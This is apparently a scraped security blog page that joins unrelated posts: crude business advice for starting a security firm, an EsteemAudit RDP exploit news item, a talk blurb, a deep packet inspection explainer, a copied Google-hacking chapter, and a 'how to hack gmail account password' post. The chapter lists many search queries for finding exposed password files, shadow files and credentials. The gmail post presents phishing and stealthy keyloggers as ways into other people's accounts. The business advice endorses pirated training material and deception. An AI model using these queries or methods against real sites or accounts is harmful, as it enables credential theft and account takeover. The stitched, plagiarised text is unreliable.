Category: Security

How to Start an Information Security Company

This is one of the questions that’s frequently asked but no one seems to have an answer. However below is compilation of some the tried and tested ways to get things done.

  • Hire hot, sexy chicks for no reason! (They bring good luck, actually. So, hire them!)
  • Start introducing services step by step, pick up some particular niche if you have to. You can choose services from the document I’ve made for you. It outlines a maximum number of service offerings that an MSSP can possibly provide. – Link here
  • Let your clients give direction to your business. If they want shit penetration testing, give them shit penetration testing. If they want quality, give them quality. Curate special service offerings for them by mix matching from your standard offerings.
  • Offer partial/free service trials in the start to make a healthy portfolio quickly.
  • Fake it until you make it!
  • Skillful employees are mostly cocky and they will make you bear their attitude, negotiate too much on raises and eventually leave, always prepare backup by making your employees expendable and empowering processes and tools over people.
  • Don’t shoot for the moon from day one, gradually increase the quality of your services. An SME will never pay for top notch Incident Response. Some financial institutions might want to take your services like SOC, Compliance Audit and Pentesting only to mark their federal/legal checklist.
  • Hire an experienced technical writer to prepare industry grade biz artifacts like Proposals, SoWs, Portfolio, Datasheets, Case studies etc.
  • Investment should be in this order: 1. Team Capacity Building (Sec trainings [prefer pirated content to save money, LF is your savior], Certifications[good to have one cert of each type, some douchebag clients still prefer/require CEH and similar bullshit] —->> 2. Marketing —->> 3. Infrastructure —->> 4. In-house security products
  • Invest in EXPERIENCED business development and marketing teams. (Can have 1-2 person each but should be very well experienced, not requiring learning on the job)
  • Consider vendor partnerships, reselling rights for key Security products down the road.
  • Have a crash course/ quick capacity building plan for new employees.
  • Prefer hiring a few experienced resources while many fresh graduates to maximize ROI.
  • Make partners in each and every region of the world. At the start, focus on your revenue, not the brand name! Accept white-label branding until you’re mature enough to penetrate in the established market.
  • Make more partners!
  • Participate in interviews expos, exhibitions and conferences related to InfoSec
  • Keep your company blog and social media active with regularly publishing useful security tips and marketing content. (Remember the professional content writer you hired?)
  • Compliance bullshit has far more revenue than operational security. (Sad fucking world!) Focus on compliance specific services. Get compliant yourself if you have to!
  • Bid govt. projects! Not to win but to attain maturity in your BizDev department.
  • Make fancy, professional looking company portfolio, workflows, BS service models, report templates and case studies. Hire a part time GFX designer for that.
  • Fancy, Timely and understandable reports are the keys to your client’s heart.
  • Have boots on the ground! Do not try to save money by avoiding on-site visits. Hire a local partner or send your own resource to get done quickly. (A simple SIEM deployment activity can get delayed up to so many months that is enough for you to miss you SLA and getting your client pissed off, especially for a client with unsupportive incompetent IT team.
  • Boots on the ground again!
0

‘EsteemAudit’ RDP Exploit needs to be patched Immediately

Brace yourselves for a possible ‘second wave’ of massive global cyber attack, as SMB (Server Message Block) was not the only network protocol whose zero-day exploits created by NSA were exposed in the Shadow Brokers dump last month.

Although Microsoft released patches for SMB flaws for supported versions in March and unsupported versions immediately after the outbreak of the WannaCry ransomware, the company ignored to patch other three NSA hacking tools, dubbed “EnglishmanDentist,” “EsteemAudit,” and “ExplodingCan.”

EsteemAudit: Over 24,000 PCs Still Vulnerable

EsteemAudit is another dangerous NSA-developed Windows hacking tool leaked by the Shadow Brokers that targets RDP service (port 3389) on Microsoft Windows Server 2003 / Windows XP machines.Since Microsoft no longer support Windows Server 2003 and Windows XP and unlike EternalBlue the company has not released any emergency patch for EsteemAudit exploit so far, over 24,000 vulnerable systems remains still exposed on the Internet for anyone to hack.

“Even one infected machine opens your enterprise to greater exploitation,” say Omri Misgav and Tal Liberman, security researchers at Ensilo cyber security firm who came up with the AtomBombing attack last year and now has released an unofficial patch for EsteemAudit, which we have introduced later in this article.

EsteemAudit can also be used as a wormable malware, similar to the WannaCry ransomware, which allows hackers to propagate in the enterprise networks, leaving thousands of systems vulnerable to ransomware, espionage and other malicious attacks.Ransomware authors, such as criminals behind CrySiS, Dharma, and SamSam, who are already infecting computers via RDP protocol using brute force attacks, can leverage EsteemAudit anytime for widespread and damaging attacks like WannaCry.

How to Secure Your Computers?

shodan-rdp-hacking

Due to the havoc caused by WannaCry, SMB service gained all the attention, neglecting RDP.

“Windows XP-based systems currently account for more than 7 percent of desktop operating systems still in use today, and the cyber security industry estimates that more than 600,000 web-facing computers, which host upwards of 175 million websites, still run Windows Server 2003 accounting for roughly 18 percent of the global market share,” researchers say.

Since Microsoft has not released any patch for this vulnerability, users and enterprises are advised to upgrade their systems to the higher versions to secure themselves from EsteenAudit attacks.

“Of the three remaining exploits, “EnglishmanDentist,” “EsteemAudit,” and “ExplodingCan,” none reproduces on supported platforms, which means that customers running Windows 7 and more recent versions of Windows or Exchange 2010 and newer versions of Exchange are not at risk,” Microsoft says.

If it’s hard for your enterprise to upgrade their systems immediately, it’s good for them to secure their RDP port by either disabling it or putting it behind the firewall.

Meanwhile, enSilo has released a patch to help Windows XP and Server 2003 users secure their machines against EsteemAudit. You can apply the patch to secure your systems, but keep in mind, that it is not an official patch from Microsoft.

If you have any doubt on the patch, enSilo is a reputed cyber security company, though I expect Microsoft to release an official patch before any outcry like that of WannaCry.

Source: thehackernews.com
0

RED TEAMING YOUR RISK MANAGEMENT FRAMEWORK

While most red team talks focus on the tools and tactics, this talk with take a compliance slant. Focusing on the NIST 800-53a revision 4 assessment framework, we will explain how the government definesred team testing. Afterwards, we will walk through all of the controls in the NIST risk management framework that are met using red team exercises. This can be used by CISO/CIO personnel to justify red team exercises or sales people to better focus their efforts from a technical approach to a compliance approach.

Keith Pachulski, Security Officer for Health Network Laboratories (HNL) and Security Consultant. Keith has over 23 years of experience in physical and information security realms. He is currently responsible for the development and management of the information security program at HNL. Previously he was responsible for the management and performance of onsite red team tests for Dell – SecureWorks. Additionally he performed physical and electronic penetration tests, web application assessments and wireless assessments. Prior to that, he was a CSO overseeing the operations of 13 companies and created/managed a Managed Security Services program for a private sector company supporting clients internationally. He has extensive experience working in the Federal sector performing vulnerability assessments, penetration testing and compliance assessments.

 

Source: http://www.bsidesphilly.org/

0

What is “Deep Packet Inspection” ?

Deep Packet Inspection (DPI) has been around for a number of years, and tools that claim to perform it are increasing. Before purchasing a DPI solution for your enterprise, it is important to know what it is, how it works, and why it is an important part of a monitoring solution. Over the past few weeks I’ve had a few discussions on this topic, so I thought it would be helpful to write it up and post it.

What is DPI?

Simply put, DPI is performed by an analyzer or in-line device when it reads non-header information in a packet and uses this data to path traffic, create statistics, apply content filtering rules, or analyze traffic patterns in an application.

In a word, DPI focuses on packet content.

DPI can be performed wire-speed in real time on a link, or it can be performed post-capture. Either way, statistics, triggers, content filtering and metrics can be generated on data contained within a packet, which is a huge help when analyzing application environments or monitoring data on external links.

For example, an analyzer may monitor the performance of a web server based on TCP response time for port 80 (or 8000, etc), but this is not considered deep packet inspection. These TCP metrics simply give us the transport layer information for a transaction, but we don’t know anything about application calls, error codes, or requested file info. There are many cases when it is critical to know how many and what type of requests or response file requests and posts for all these functions. When an analyzer reads and reports on this data, this is considered deep packet inspection, especially when done in real time.

There is some debate on whether DPI is a threat to privacy because in many cases, this analysis method can comb through and reassemble messages, emails, calls, and monitor all web content. Although a case could be made for both sides, this article assumes the intent for DPI is monitoring and troubleshooting a network, so we will put it in a very positive light!

How it works

Many DPI solutions capture whole packets into a buffer or hard disk while simultaneously running application level analytics on the stream in real time. This takes a tremendous amount of processing power, as each packet needs to be run against a complex set if filters so statistics can be generated. Before purchasing a DPI solution, be sure to clarify whether the solution is capable of real-time DPI to flows in progress (critical for content filtering) or through post-capture analysis (necessary when troubleshooting in application environments).

Why you need it

Assuming we are sitting in the chair of an enterprise network engineer, not an ISP, how is DPI useful? DPI unlocks the keys to truly see the content in a data stream. It enables the analyst to detect how applications really operate, what files are called, what responses are returned, what content is involved, and best of all, where things bog down. In a way, it is a method of automating deep level protocol analysis on a large, fast scale to meet the demands of today’s high-availability networking environments. In some cases, alarms and alerts can be created based on the live data that alerts engineers of threats, misuse, and network performance problems.

DPI should be considered by any environment that is facing voice, video, and data delivery with critical performance requirements – 24×7. This amazing technology helps to monitor and analyze the packets that really matter in real-time, in most cases at wire-speed – saving an analyst from digging through mountains of trace files to find usage and performance statistics.

Search passwords and Juicy Info : Digg Google

Introduction

This is not about finding sensitive data during an assessment as much as
it is about what the “bad guys” might do to troll for the data.The examples presented
generally represent the lowest-hanging fruit on the security
tree. Hackers target this information on a daily basis.To protect against this type
of attacker, we need to be fairly candid about the worst-case possibilities.We
won’t be overly candid, however.
We start by looking at some queries that can be used to uncover usernames,
the less important half of most authentication systems.The value of a username is
often overlooked, but, an entire multimilliondollar
security system can be shattered through skillful crafting of even the
smallest, most innocuous bit of information.
Next, we take a look at queries that are designed to uncover passwords. Some
of the queries we look at reveal encrypted or encoded passwords, which will take
a bit of work on the part of an attacker to use to his or her advantage.We also
take a look at queries that can uncover cleartext passwords.These queries are some
of the most dangerous in the hands of even the most novice attacker. What could
make an attack easier than handing a username and cleartext password to an
attacker?
We wrap up by discussing the very real possibility of uncovering
highly sensitive data such as credit card information and information used to
commit identity theft, such as Social Security numbers. Our goal here is to
explore ways of protecting against this very real threat.To that end, we don’t go
into details about uncovering financial information and the like. If you’re a “dark
side” hacker, you’ll need to figure these things out on your own.

Searching for Usernames

Most authentication mechanisms use a username and password to protect information.
To get through the “front door” of this type of protection, you’ll need to
determine usernames as well as passwords. Usernames also can be used for social
engineering efforts, as we discussed earlier.
Many methods can be used to determine usernames. In Chapter 10, we
explored ways of gathering usernames via database error messages. In Chapter 8
we explored Web server and application error messages that can reveal various
information, including usernames.These indirect methods of locating usernames
are helpful, but an attacker could target a usernames directory
query like “your username is”. This phrase can locate help pages that describe the
username creation process,
information gleaned from other sources, such as Google Groups posts or phone
listings.The usernames could then be recycled into various other phases of the
attack, such as a worm-based spam campaign or a social-engineering attempt.An
attacker can gather usernames from a variety of sources, as shown in the sample
queries listed
Sample Queries That Locate Usernames

Query Description

inurl:admin inurl:userlist Generic userlist files
inurl:admin filetype:asp Generic userlist files
inurl:userlist
inurl:php inurl:hlstats intext: Half-life statistics file, lists username and
Server Username other information
filetype:ctl inurl:haccess. Microsoft FrontPage equivalent of htaccess
ctl Basic shows Web user credentials

Query Description

filetype:reg reg intext: Microsoft Internet Account Manager can
”internet account manager” reveal usernames and more
filetype:wab wab Microsoft Outlook Express Mail address
books
filetype:mdb inurl:profiles Microsoft Access databases containing (user)
profiles.
index.of perform.ini mIRC IRC ini file can list IRC usernames and
other information
inurl:root.asp?acs=anon Outlook Mail Web Access directory can be
used to discover usernames
filetype:conf inurl:proftpd. PROFTP FTP server configuration file reveals
conf –sample username and server information
filetype:log username putty PUTTY SSH client logs can reveal usernames
and server information
filetype:rdp rdp Remote Desktop Connection files reveal user
credentials
intitle:index.of .bash_history UNIX bash shell history reveals commands
typed at a bash command prompt; usernames
are often typed as argument strings
intitle:index.of .sh_history UNIX shell history reveals commands typed at
a shell command prompt; usernames are
often typed as argument strings
“index of ” lck Various lock files list the user currently using
a file
+intext:webalizer +intext: Webalizer Web statistics page lists Web user-
Total Usernames +intext: names and statistical information
”Usage Statistics for”
filetype:reg reg HKEY_ Windows Registry exports can reveal
CURRENT_USER username usernames and other information

Underground Googling
Searching for a Known Filename

Remember that there are several ways to search for a known filename.
One way relies on locating the file in a directory listing, like intitle:index.of
install.log. Another, often better, method relies on the filetype operator,
as in filetype:log inurl:install.log. Directory listings are not all that
common. Google will crawl a link to a file in a directory listing, meaning
that the filetype method will find both directory listing entries as well as
files crawled in other ways.

In some cases, usernames can be gathered from Web-based statistical programs
that check Web activity.The Webalizer program shows all sorts of information
about a Web server’s usage. Output files for the Webalizer program can be
located with a query such as intext:webalizer intext:”Total Usernames” intext:”Usage
Statistics for”. Among the information displayed is the username that was used to
connect to the Web server, as shown in Figure 9.2. In some cases, however, the
usernames displayed are not valid or current, but the “Visits” column lists the
number of times a user account was used during the capture period.This enables
an attacker to easily determine which accounts are more likely to be valid.

The Windows registry holds all sorts of authentication information, including
usernames and passwords.Though it is unlikely (and fairly uncommon) to locate
live, exported Windows registry files on the Web, at the time of this writing
there are nearly 100 hits on the query filetype:reg HKEY_CURRENT_USER
username, which locates Windows registry files that contain the word username
and in some cases passwords,

As any talented attacker or security person will tell you, it’s rare to get information
served to you on a silver platter. Most decent finds take a bit of persistence,
creativity, intelligence, and just a bit of good luck. For example, consider
the Microsoft Outlook Web Access portal, which can be located with a query
like inurl:root.asp?acs=anon. At the time of this writing, fewer than 50 sites are
returned by this query, even though there a certainly more than 50 sites running
the Microsoft Web-based mail portal. Regardless of how you might locate a site
running this e-mail gateway, it’s not uncommon for the site to host a public
directory (denoted “Find Names,” by default)

The public directory allows access to a search page that can be used to find
users by name. In most cases, wildcard searching is not allowed, meaning that a
search for * will not return a list of all users, as might be expected. Entering a
search for a space is an interesting idea, since most user descriptions contain a
space, but most large directories will return the error message “This query would
return too many addresses!” Applying a bit of creativity, an attacker could begin
searching for individual common letters, such as the “Wheel of Fortune letters”
R, S,T, L, N, and E. Eventually one of these searches will most likely reveal a list
of user information like

Once a list of user information is returned, the attacker can then recycle the
search with words contained in the user list, searching for the words Voyager,
Freshmen, or Campus, for example.Those results can then be recycled, eventually
resulting in a nearly complete list of user information.

Searching for Passwords

Password data, one of the “Holy Grails” during a penetration test, should be protected.
Unfortunately, many examples of Google queries can be used to locate
passwords on the Web, as shown in Table 9.2.
Table 9.2 Queries That Locate Password Information

Query Description
inurl:/db/main.mdb ASP-Nuke passwords
filetype:cfm “cfapplication ColdFusion source with potential passwords
name” password
filetype:pass pass intext:userid dbman credentials
allinurl:auth_user_file.txt DCForum user passwords
eggdrop filetype:user user Eggdrop IRC user credentials
filetype:ini inurl:flashFXP.ini FlashFXP FTP credentials
filetype:url +inurl:”ftp://” FTP bookmarks cleartext passwords
+inurl:”@”
inurl:zebra.conf intext: GNU Zebra passwords
password -sample -test
-tutorial –download
filetype:htpasswd htpasswd HTTP htpasswd Web user credentials
intitle:”Index of” “.htpasswd” HTTP htpasswd Web user credentials
“htgroup” -intitle:”dist”
-apache -htpasswd.c
intitle:”Index of” “.htpasswd” HTTP htpasswd Web user credentials
htpasswd.bak
“http://*:*@www” bob:bob HTTP passwords (bob is a sample username)
“sets mode: +k” IRC channel keys (passwords)
“Your password is * Remember IRC NickServ registration passwords
this for later use”
signin filetype:url JavaScript authentication credentials

Queries That Locate Password Information
Query Description
LeapFTP intitle:”index.of./” LeapFTP client login credentials
sites.ini modified
inurl:lilo.conf filetype:conf LILO passwords
password -tatercounter2000
-bootpwd –man
filetype:config config intext: Microsoft .NET application credentials
appSettings “User ID”
filetype:pwd service Microsoft FrontPage Service Web passwords
intitle:index.of Microsoft FrontPage Web credentials
administrators.pwd
“# -FrontPage-” inurl:service.pwd Microsoft FrontPage Web passwords
ext:pwd inurl:_vti_pvt inurl: Microsoft FrontPage Web passwords
(Service | authors | administrators)
inurl:perform filetype:ini mIRC nickserv credentials
intitle:”index of” intext: mySQL database credentials
connect.inc
intitle:”index of” intext: mySQL database credentials
globals.inc
filetype:conf oekakibbs Oekakibss user passwords
filetype:dat wand.dat Opera‚ ÄúMagic Wand‚Äù Web credentials
inurl:ospfd.conf intext: OSPF Daemon Passwords
password -sample -test
-tutorial –download
index.of passlist Passlist user credentials
inurl:passlist.txt passlist.txt file user credentials
filetype:dat “password.dat” password.dat files
inurl:password.log filetype:log password.log file reveals usernames, passwords,
and hostnames
filetype:log inurl:”password.log” password.log files cleartext passwords
inurl:people.lst filetype:lst People.lst generic password file
intitle:index.of config.php PHP Configuration File database credentials
inurl:config.php dbuname dbpass PHP Configuration File database credentials
inurl:nuke filetype:sql PHP-Nuke credentials
Queries That Locate Password Information
Query Description
filetype:conf inurl:psybnc.conf psyBNC IRC user credentials
“USER.PASS=”
filetype:ini ServUDaemon servU FTP Daemon credentials
filetype:conf slapd.conf slapd configuration files root password
inurl:”slapd.conf” intext: slapd LDAP credentials
”credentials” -manpage
-”Manual Page” -man: -sample
inurl:”slapd.conf” intext: slapd LDAP root password
”rootpw” -manpage
-”Manual Page” -man: -sample
filetype:sql “IDENTIFIED BY” –cvs SQL passwords
filetype:sql password SQL passwords
filetype:ini wcx_ftp Total Commander FTP passwords
filetype:netrc password UNIX .netrc user credentials
index.of.etc UNIX /etc directories contain various credential
files
intitle:”Index of..etc” passwd UNIX /etc/passwd user credentials
intitle:index.of passwd UNIX /etc/passwd user credentials
passwd.bak
intitle:”Index of” pwd.db UNIX /etc/pwd.db credentials
intitle:Index.of etc shadow UNIX /etc/shadow user credentials
intitle:index.of master.passwd UNIX master.passwd user credentials
intitle:”Index of” spwd.db UNIX spwd.db credentials
passwd -pam.conf
filetype:bak inurl:”htaccess| UNIX various password file backups
passwd|shadow|htusers
filetype:inc dbconn Various database credentials
filetype:inc intext:mysql_ Various database credentials, server names
connect
filetype:properties inurl:db Various database credentials, server names
intext:password
inurl:vtund.conf intext:pass –cvs Virtual Tunnel Daemon passwords
inurl:”wvdial.conf” intext: wdial dialup user credentials

Queries That Locate Password Information
Query Description
filetype:mdb wwforum Web Wiz Forums Web credentials
“AutoCreate=TRUE password=*”Website Access Analyzer user passwords
filetype:pwl pwl Windows Password List user credentials
filetype:reg reg +intext: Windows Registry Keys containing user
”defaultusername” intext: credentials
”defaultpassword”
filetype:reg reg +intext: Windows Registry Keys containing user
”internet account manager” credentials
“index of/” “ws_ftp.ini” WS_FTP FTP credentials
“parent directory”
filetype:ini ws_ftp pwd WS_FTP FTP user credentials
inurl:/wwwboard wwwboard user credentials
In most cases, passwords discovered on the Web are either encrypted or
encoded in some way. In most cases, these passwords can be fed into a password
cracker such as John the Ripper from http://www.openwall.com/john to produce
plaintext passwords that can be used in an attack. Figure 9.6 shows the results of
the search ext:pwd inurl:_vti_pvt inurl:(Service | authors | administrators), which
combines a search for some common

Exported Windows registry files often contain encrypted or encoded passwords
as well. If a user exports the Windows registry to a file and Google subsequently
crawls that file, a query like filetype:reg intext:”internet account manager”
could reveal interesting keys containing password data

ress. Note that live, exported Windows registry files are not very common, but it’s
not uncommon for an attacker to target a site simply because of one exceptionally
insecure file. It’s also possible for a Google query to uncover cleartext passwords.
These passwords can be used as is without having to employ a
password-cracking utility. In these extreme cases, the only challenge is determining
the username as well as the host on which the password can be used. As
shown in Figure 9.8, certain queries will locate all the following information:
usernames, cleartext passwords, and the host that uses that authentication!

There is no magic query for locating passwords, but during an assessment,
remember that the simplest queries directed at a site can have amazing results, as
we discussed in , Chapter 7, Ten Simple Searches. For example, a query like “Your
password” forgot would locate pages that provide a forgotten password recovery
mechanism.The information from this type of query can be used to formulate
any of a number of attacks against a password. As always, effective social engineering
is a terrific nontechnical solution to “forgotten” passwords.
Another generic search for password information, intext:(password | passcode |
pass) intext:(username | userid | user), combines common words for passwords and
user IDs into one query.This query returns a lot of results, but the vast majority
of the top hits refer to pages that list forgotten password information, including
either links or contact information. Using Google’s translate feature, found at
http://translate.google.com/translate_t, we could also create multilingual password
searches.Table 9.3 lists common translations for the word password
English Translations of the Word Password
Language Word Translation
German password Kennwort
Spanish password contraseña
French password mot de passe
Italian password parola d’accesso
Portuguese password senha
Dutch password Paswoord
NOTE
The terms username and userid in most languages translate to username
and userid, respectively.
Searching for Credit Card Numbers,
Social Security Numbers, and More
Most people have heard news stories about Web hackers making off with customer
credit card information.With so many fly-by night retailers popping up
on the Internet, it’s no wonder that credit card fraud is so prolific.These momand-
pop retailers are not the only ones successfully compromised by hackers.
Corporate giants by the hundreds have had financial database compromises over
the years, victims of sometimes very technical, highly focused attackers. What
might surprise you is that it doesn’t take a rocket scientist to uncover live credit
card numbers on the Internet, thanks to search engines like Google. Everything
from credit information to banking data or supersensitive classified government
documents can be found on the Web. Consider the (highly edited) Web page

This document, found using Google, lists hundreds and hundreds of credit
card numbers (including expiration date and card validation numbers) as well as
the owners’ names, addresses, and phone numbers.This particular document also
included phone card (calling card) numbers. Notice the scroll bar on the righthand
side of Figure 9.9, an indicator that the displayed page is only a small part
of this huge document—like many other documents of its kind. In most cases,
pages that contain these numbers are not “leaked” from online retailers or ecommerce
sites but rather are most likely the fruits of a scam known as phishing,
in which users are solicited via telephone or e-mail for personal information.
Several Web sites, including MillerSmiles.co.uk, document these scams and
hoaxes. Figure 9.10 shows a screen shot of a popular eBay phishing scam that
encourages users to update their eBay profile information.

Once a user fills out this form, all the information is sent via e-mail to the
attacker, who can use it for just about anything.
Tools and Traps
Catching Online Scammers
In some cases, you might be able to use Google to help nab the bad guys.
Phishing scams are effective because the fake page looks like an official
page. To create an official-looking page, the bad guys must have examples
to work from, meaning that they must have visited a few legitimate companies’
Web sites. If the fishing scam was created using text from several
companies’ existing pages, you can key in on specific phrases from the fake
page, creating Google queries designed to round up the servers that hosted
some of the original content. Once you’ve located the servers that contained
the pilfered text, you can work with the companies involved to
extract correlating connection data from their log files. If the scammer visited
each company’s Web page, collecting bits of realistic text, his IP should
appear in each of the log files. Auditors at SensePost (www.sensepost.com)
have successfully used this technique to nab online scam artists.
Unfortunately, if the scammer uses an exact copy of a page from only one
company, this task becomes much more difficult to accomplish.
Social Security Numbers
Social Security numbers (SSNs) and other sensitive data can be easily located
with Google as well as via the same techniques used to locate credit card numbers.
For a variety of reasons, SSNs might appear online—for example, educational
facilities are notorious for using an SSN as a student ID, then posting
grades to a public Web site with the “student ID” displayed next to the grade.A
creative attacker can do quite a bit with just an SSN, but in many cases it helps
to also have a name associated with that SSN. Again, educational facilities have
been found exposing this information via Excel spreadsheets listing student’s
names, grades, and SSNs, despite the fact that the student ID number is often
used to help protect the privacy of the student! Although we don’t feel it’s right
to go into the details of how this data is located, several media outlets have irresponsibly
posted the details online. Although the blame lies with the sites that are
leaking this information, in our opinion it’s still not right to draw attention to
how exactly the information can be located.
Personal Financial Data
In some cases, phishing scams are responsible for publicizing personal information;
in other cases, hackers attacking online retails are to blame for this breach of
privacy. Sadly, there are many instances where an individual is personally responsible
for his own lack of privacy. Such is the case with personal financial information.
With the explosion of personal computers in today’s society, users have
literally hundreds of personal finance programs to choose from. Many of these
programs create data files with specific file extensions that can be searched with
Google. It’s hard to imagine why anyone would post personal financial information
to a public Web site (which subsequently gets crawled by Google), but it
must happen quite a bit, judging by the number of hits for program files generated
by Quicken and Microsoft Money, for example. Although it would be
somewhat irresponsible to provide queries here that would unearth personal
financial data, it’s important to understand the types of data that could potentially
be uncovered by an attacker.To that end,Table 9.4 shows file extensions for various
financial, accounting, and tax return programs. Ensure that these filetypes
aren’t listed on a webserver you’re charged with protecting.
File Extension Description
afm Abassis Finance Manager
ab4 Accounting and Business File
mmw AceMoney File
Iqd AmeriCalc Mutual Fund Tax Report
et2 Electronic Tax Return Security File (Australia)
tax Intuit TurboTax Tax Return
t98-t04 Kiplinger Tax Cut File (extension based on two-digit return
year)
mny Microsoft Money 2004 Money Data Files
mbf Microsoft Money Backup Files
inv MSN Money Investor File
ptdb Peachtree Accounting Database
qbb QuickBooks Backup Files reveal financial data
qdf Quicken personal finance data
soa Sage MAS 90 accounting software
sdb Simply Accounting
stx Simply Tax Form
tmd Time and Expense Tracking
tls Timeless Time & Expense
fec U.S. Federal Campaign Expense Submission
wow Wings Accounting File
Searching for Other Juicy Info
As we’ve seen, Google can be used to locate all sorts of sensitive information. In
this section we take a look at some of the data that Google can find that’s harder
to categorize. From address books to chat log files and network vulnerability
reports, there’s no shortage of sensitive data online.Table 9.5 shows some queries
that can be used to uncover various types of sensitive data.
Query Description
intext:”Session Start AIM and IRC log files
* * * *:*:* *” filetype:log
filetype:blt blt +intext: AIM buddy lists
screenname
buddylist.blt AIM buddy lists
intitle:index.of cgiirc.config CGIIRC (Web-based IRC client) config file,
shows IRC servers and user credentials
inurl:cgiirc.config CGIIRC (Web-based IRC client) config file,
shows IRC servers and user credentials
“Index of” / “chat/logs” Chat logs
intitle:”Index Of” cookies.txt cookies.txt file reveals user information
“size”
“phone * * *” “address *” Curriculum vitae (resumes) reveal names
“e-mail” intitle:”curriculum vitae” and address information
ext:ini intext:env.ini Generic environment data
intitle:index.of inbox Generic mailbox files
“Running in Child mode” Gnutella client data and statistics
“:8080” “:3128” “:80” HTTP Proxy lists
filetype:txt
intitle:”Index of” ICQ chat logs
dbconvert.exe chats
“sets mode: +p” IRC private channel information
“sets mode: +s” IRC secret channel information
“Host Vulnerability Summary ISS vulnerability scanner reports, reveal
Report” potential vulnerabilities on hosts and
networks
“Network Vulnerability ISS vulnerability scanner reports, reveal
Assessment Report” potential vulnerabilities on hosts and networks
filetype:pot inurl:john.pot John the Ripper password cracker results
intitle:”Index Of” -inurl:maillog Maillog files reveals e-mail traffic
maillog size information
ext:mdb inurl:*.mdb inurl: Microsoft FrontPage database folders
Query Description
filetype:xls inurl:contact Microsoft Excel sheets containing contact
information.
intitle:index.of haccess.ctl Microsoft FrontPage equivalent(?)of htaccess
shows Web authentication info
ext:log “Software: Microsoft Microsoft Internet Information Services
Internet Information Services *.*” (IIS) log files
filetype:pst inurl:”outlook.pst” Microsoft Outlook e-mail and calendar
backup files
intitle:index.of mt-db-pass.cgi Movable Type default file
filetype:ctt ctt messenger MSN Messenger contact lists
“This file was generated Nessus vulnerability scanner reports, reveal
by Nessus” potential vulnerabilities on hosts and networks
inurl:”newsletter/admin/” Newsletter administration information
inurl:”newsletter/admin/” Newsletter administration information
intitle:”newsletter admin”
filetype:eml eml intext: Outlook Express e-mail files
”Subject” +From
intitle:index.of inbox dbx Outlook Express Mailbox files
intitle:index.of inbox dbx Outlook Express Mailbox files
filetype:mbx mbx intext:Subject Outlook v1–v4 or Eudora mailbox files
inurl:/public/?Cmd=contents Outlook Web Access public folders or
appointments
filetype:pdb pdb backup (Pilot Palm Pilot Hotsync database files
| Pluckerdb)
“This is a Shareaza Node” Shareaza client data and statistics
inurl:/_layouts/settings Sharepoint configuration information
inurl:ssl.conf filetype:conf SSL configuration files, reveal various configuration
information
site:edu admin grades Student grades
intitle:index.of mystuff.xml Trillian user Web links
inurl:forward filetype: UNIX mail forward files reveal e-mail
forward –cvs addresses
intitle:index.of dead.letter UNIX unfinished e-mails

Summary
Make no mistake—there’s sensitive data on the Web, and Google can find it.
There’s hardly any limit to the scope of information that can be located, if only
you can figure out the right query. From usernames to passwords, credit card and
Social Security numbers, and personal financial information, it’s all out there. As a
purveyor of the “dark arts,” you can relish in the stupidity of others, but as a professional
tasked with securing a customer’s site from this dangerous form of
information leakage, you could be overwhelmed by the sheer scale of your
defensive duties.
As droll as it might sound, a solid, enforced security policy is a great way to
keep sensitive data from leaking to the Web. If users understand the risks associated
with information leakage and understand the penalties that come with violating
policy, they will be more willing to cooperate in what should be a security
partnership.
In the meantime, it certainly doesn’t hurt to understand the tactics an adversary
might employ in attacking a Web server. One thing that should become
clear as you read this book is that any attacker has an overwhelming number of
files to go after. One way to prevent dangerous Web information leakage is by
denying requests for unknown file types. Whether your Web server normally
serves up CFM,ASP, PHP, or HTML, it’s infinitely easier to manage what should
be served by the Web server instead of focusing on what should not be served.
Adjust your servers or your border protection devices to allow only specific content
or file types.
Solutions Fast Track
Searching for Usernames
_ Usernames can be found in a variety of locations.
_ In some cases, digging through documents or e-mail directories might
be required.
_ A simple query such as “your username is” can be very effective in
locating usernames.

Searching for Passwords
_ Passwords can also be found in a variety locations.
_ A query such as “Your password” forgot can locate pages that provide a
forgotten-password recovery mechanism.
_ intext:(password | passcode | pass) intext:(username | userid | user) is
another generic search for locating password information.
Searching for Credit Cards
Numbers, Social Security Numbers, and More
_ Documents containing credit card and Social Security number
information do exist and are relatively prolific.
_ Some irresponsible news outlets have revealed functional queries that
locate this information.
_ There are relatively few examples of personal financial data online, but
there is a great deal of variety.
_ In most cases, specific file extensions can be searched for.
Searching for Other Juicy Info
_ From address books and chat log files to network vulnerability reports,
there’s no shortage of sensitive data online.

How to hack gmail account password

In this post i will show you various methods regarding “How to hack Gmail account password” OR How to hack gmail account password”,With my experience of 4 years i only suggest the two possible methods methods to hack gmail account passwords

What is:-

1.PHISHING

The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the
user into surrendering private information that will be used for identity theft.
The Email directs the user to visit a Web site where they are asked to update personal information, such as passwords
and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site,
however, is Bogus and set up only to steal the User’s information.
Phishing attacks are Trying to steal your Money !!!

Phishing Scams Could Be-
* Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
* Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
* Emails containing some Information of your Interest and asking

2.KEYLOGGING

Keyloggers definition
Keylogger is a software program or hardware device that is used to monitor and log each of the keys a user types into a
computer keyboard. The user who installed the program or hardware device can then view all keys typed in by that user.
Because these programs and hardware devices monitor the keys typed in a user can easily find user passwords and other
information a user may not wish others to know about.
Keyloggers, as a surveillance tool, are often used by employers to ensure employees use work computers for business
purposes only. Unfortunately, keyloggers can also be embedded in spyware allowing your information to be transmitted
to an unknown third party.
About keyloggers
A keylogger is a program that runs in the background, recording all the keystrokes. Once keystrokes are logged, they are
hidden in the machine for later retrieval, or shipped raw to the attacker. The attacker then peruses them carefully in the
hopes of either finding passwords, or possibly other useful information that could be used to compromise the system or
be used in a social engineering attack. For example, a keylogger will reveal the contents of all e-mail composed by the
user. Keylogger is commonly included in rootkits.
A keylogger normally consists of two files: a DLL which does all the work and an EXE which loads the DLL and sets the
hook. Therefore when you deploy the hooker on a system, two such files must be present in the same directory.
There are other approaches to capturing info about what you are doing.

  • Somekeyloggerscapture screens, rather than keystrokes.
  • Otherkeyloggerswill secretly turn on video or audio recorders, and transmit what they capture over your internet connection.

A keyloggers might be as simple as an exe and a dll that are placed on a machine and invoked at boot via an entry in the
registry. Or a keyloggers could be which boasts these features:

  • Stealth: invisible in process list
  • Includes kernel keylogger driver that captures keystrokes even when user is logged off (Windows 2000 / XP)
  • ProBot program files and registry entries are hidden (Windows 2000 / XP)
  • Includes Remote Deployment wizard
  • Active window titles and process names logging
  • Keystroke / password logging
  • Regional keyboard support
  • Keylogging in NT console windows
